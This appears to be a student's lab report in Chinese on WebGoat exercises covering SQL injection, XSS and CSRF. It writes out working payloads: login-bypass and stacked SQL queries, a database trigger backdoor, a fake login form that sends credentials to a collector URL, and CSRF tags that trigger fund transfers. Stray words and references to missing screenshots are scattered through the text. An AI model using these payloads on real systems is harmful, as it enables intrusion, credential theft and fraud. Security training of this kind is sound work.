SQL注入攻擊原理,如何防護
原理:攻擊者在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,把SQL語句當作用戶名等輸入正常網頁中以獲取數據庫信息的攻擊或對數據庫增刪查改的基本操做。
防護:限制SQL字符串鏈接的配置文件;指定錯誤返回頁面;替換或刪除單引號;去除代碼中的敏感信息;封裝數據信息等。前端
XSS攻擊的原理,如何防護
原理:惡意攻擊者經過往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
防護:對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。若是有時候不能過濾的話,就將敏感的字符進行替換,讓代碼失去原本的樣子,在讀取的時候在替換回來。java
CSRF攻擊原理,如何防護
原理:CSRF是跨站請求僞造,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。
防範:經過驗證碼來檢測用戶提交,儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post 操做 ,避免全站通用的cookie,嚴格設置cookie的域。web
此次實驗進階性的學習了SQL注入攻擊、XSS攻擊和CSRF攻擊原理。我一共作了10個小實驗。其中SQL注入攻擊須要用到burpsuite作代理,因而我還熟悉了burpsuite的使用方法。還有,博客發遲了,請老師諒解。。sql
java -jar webgoat-container-7.0.1-war-exec.jar
開啓webgoat,直到出現INFO: Starting ProtocolHandler ["http-bio-8080"]
,打開瀏覽器,在瀏覽器中輸入localhost:8080/WebGoat
進入webgoator 1=1
%0d%0aLogin succeeded !admin
使用戶看起來像登陸成功,成功截圖以下:' or 1=1;--
SELECT * FROM user_data WHERE last_name = '' or 1=1;--'
,即查詢表中全部信息。成功截圖以下:在密碼中輸入' or 1=1 --
,失敗,發現密碼只能輸入8位
數據庫
因而能夠改一下代碼:
瀏覽器
成功截圖以下:
安全
經過輸入101; update employee set salary=5312
來給id爲101的人改工資
cookie
注入成功
網絡
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='yuanxin@qq.com' WHERE userid = NEW.userid
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
顯示以下
xss
輸入用戶名和密碼,提交便可截獲
成功截圖以下
Message List出現剛纔的消息title
成功截圖以下:
http://www.targetserver.com/search.asp?input=<script>alert("hello20145312");</script>
在message裏輸入<img src='attack?Screen=276&menu=900&transferFunds=145312' width='1' height='1'>
這其中,276是我網頁的scr,900是個人網頁的menu,145312是轉錢數額。
點擊20145212,方纔的代碼就會被執行
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>